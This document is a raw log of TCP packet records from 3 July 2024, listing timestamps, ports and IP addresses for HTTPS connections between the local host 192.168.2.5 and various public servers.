Jul 3, 2024 14:38:43.830241919 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:43.830559015 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:43.830596924 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:43.830812931 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:43.831053019 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:43.831064939 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:43.832201958 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:43.832216024 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:43.972145081 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:43.972174883 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:43.972234011 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:43.972984076 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:43.972995043 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:43.997129917 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.997165918 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:43.997263908 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.997646093 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:43.997653961 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.414140940 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.414961100 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.414975882 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.416095972 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.416188002 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.420754910 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.420830965 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.421042919 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.421050072 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.459381104 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.460381031 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.460405111 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.461668968 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.461728096 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.463937998 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.464044094 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.464190006 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.469141960 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.469482899 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.469491005 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.470535994 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.470583916 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.473551989 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.473620892 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.473836899 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.473843098 CEST	443	49724	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.475645065 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.486798048 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.487160921 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.487191916 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.488253117 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.488308907 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.488720894 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.488800049 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.489048958 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.489056110 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.504492998 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.506217957 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.506225109 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.521294117 CEST	49724	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.527060032 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.527123928 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.527196884 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.527211905 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.527251959 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.527478933 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.528260946 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.528306007 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.528323889 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.528331995 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.528383970 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.528397083 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.528451920 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.529320002 CEST	49726	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.529337883 CEST	443	49726	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.531930923 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.553299904 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.556426048 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.558458090 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.558469057 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.559591055 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.559672117 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.560290098 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:44.560787916 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.560913086 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.561167955 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.561173916 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.561491013 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:44.561507940 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:44.561940908 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.562242985 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.562258959 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.562630892 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:44.562685013 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:44.563333035 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.563477039 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.564265013 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.564372063 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.564465046 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.565691948 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:44.565776110 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:44.565973997 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:44.565983057 CEST	443	49725	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:44.577249050 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:44.578181028 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:44.578207970 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:44.579298973 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:44.579385996 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:44.584680080 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.591156006 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:44.591272116 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:44.591550112 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:44.592207909 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.592223883 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.593326092 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.593411922 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.593770027 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.593826056 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.593899965 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.593911886 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.604497910 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.607096910 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.607119083 CEST	49725	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:44.607424974 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.607433081 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:44.632509947 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:44.632657051 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.632718086 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.632747889 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.632776976 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.632798910 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.632827044 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.632843018 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.632937908 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.632982969 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.632991076 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.633008003 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.633043051 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.634778976 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.634903908 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:44.634922028 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:44.644939899 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.644992113 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.645051956 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.645385981 CEST	49732	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.645401001 CEST	443	49732	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.645946980 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.645994902 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.646053076 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.648066998 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:44.653647900 CEST	49733	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.653669119 CEST	443	49733	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.656332970 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.656356096 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.656620979 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.656951904 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.656995058 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.657058954 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.657753944 CEST	49735	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.657767057 CEST	443	49735	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.657967091 CEST	49734	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.657978058 CEST	443	49734	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.658643007 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.658658028 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.658827066 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.659377098 CEST	49736	443	192.168.2.5	34.160.63.108
Jul 3, 2024 14:38:44.659393072 CEST	443	49736	34.160.63.108	192.168.2.5
Jul 3, 2024 14:38:44.660685062 CEST	49729	443	192.168.2.5	104.18.10.212
Jul 3, 2024 14:38:44.660713911 CEST	443	49729	104.18.10.212	192.168.2.5
Jul 3, 2024 14:38:44.681118011 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:44.682183027 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:44.682223082 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:44.682348967 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:44.682636023 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:44.682651043 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:44.682941914 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.683020115 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:44.684519053 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:44.684530973 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.684870958 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.685869932 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:44.728501081 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.771383047 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.771464109 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.771461964 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.771502018 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.771544933 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.771648884 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.825139999 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.864788055 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.864809990 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.864825964 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.864855051 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.864871025 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.864875078 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.864902020 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.864942074 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.898201942 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.898219109 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.898235083 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.898246050 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.898282051 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.898320913 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.898334026 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.929938078 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.929965973 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.929995060 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.930020094 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.930058002 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.930069923 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.962903023 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.962946892 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.962954998 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.962970018 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.962991953 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.963000059 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.963013887 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.963033915 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.969209909 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.969291925 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.987355947 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.987375021 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.987437010 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.987454891 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.987474918 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:44.987565994 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:44.987607956 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.987663031 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.987771988 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:44.988614082 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:44.988639116 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:44.988651991 CEST	49730	443	192.168.2.5	2.18.97.153
Jul 3, 2024 14:38:44.988663912 CEST	443	49730	2.18.97.153	192.168.2.5
Jul 3, 2024 14:38:45.012070894 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.012105942 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.012147903 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.012159109 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.012186050 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.012200117 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.013341904 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.013545036 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.013611078 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.014079094 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.014095068 CEST	443	49721	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.014147997 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.014147997 CEST	49721	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.024869919 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.024916887 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:45.024987936 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.025177956 CEST	49738	443	192.168.2.5	146.75.120.157
Jul 3, 2024 14:38:45.025190115 CEST	443	49738	146.75.120.157	192.168.2.5
Jul 3, 2024 14:38:45.028594971 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:45.028702021 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.028704882 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:45.028763056 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:45.028775930 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.028821945 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.029661894 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.029681921 CEST	443	49720	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.029702902 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.029731989 CEST	49720	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.029956102 CEST	49728	443	192.168.2.5	13.226.175.10
Jul 3, 2024 14:38:45.029970884 CEST	443	49728	13.226.175.10	192.168.2.5
Jul 3, 2024 14:38:45.040327072 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.040427923 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.040539026 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.040946007 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.040961981 CEST	443	49722	3.127.196.46	192.168.2.5
Jul 3, 2024 14:38:45.041002989 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.041002989 CEST	49722	443	192.168.2.5	3.127.196.46
Jul 3, 2024 14:38:45.050146103 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.050174952 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.050259113 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.050292015 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.050462008 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.056838036 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.056866884 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.056947947 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.056973934 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.056993008 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.057015896 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.057048082 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.057060957 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.057185888 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.057228088 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.057235003 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.057436943 CEST	49741	443	192.168.2.5	18.239.83.17
Jul 3, 2024 14:38:45.057447910 CEST	443	49741	18.239.83.17	192.168.2.5
Jul 3, 2024 14:38:45.057454109 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.063091040 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.063136101 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.063508034 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.063539028 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.063572884 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.076014996 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.076044083 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.076111078 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.076143026 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.076536894 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.088293076 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.088320017 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.088386059 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.088418007 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.088594913 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.101330996 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.101360083 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.101408958 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.101443052 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.101464033 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.101484060 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.105499029 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.105562925 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.114326954 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.114367008 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.114403963 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.114427090 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.114442110 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.125483990 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.125513077 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.125547886 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.125581980 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.125597000 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.125622034 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.125663996 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.128715038 CEST	49723	443	192.168.2.5	157.240.0.6
Jul 3, 2024 14:38:45.128751993 CEST	443	49723	157.240.0.6	192.168.2.5
Jul 3, 2024 14:38:45.174386978 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.204041004 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.204066992 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.204937935 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.204989910 CEST	443	49742	142.250.185.130	192.168.2.5
Jul 3, 2024 14:38:45.205107927 CEST	49742	443	192.168.2.5	142.250.185.130
Jul 3, 2024 14:38:45.205193996 CEST	443	49737	151.101.129.140	192.168.2.5
Jul 3, 2024 14:38:45.205250978 CEST	49737	443	192.168.2.5	151.101.129.140
Jul 3, 2024 14:38:45.205642939 CEST	49742	443	192.168.2.5	142.250.185.130
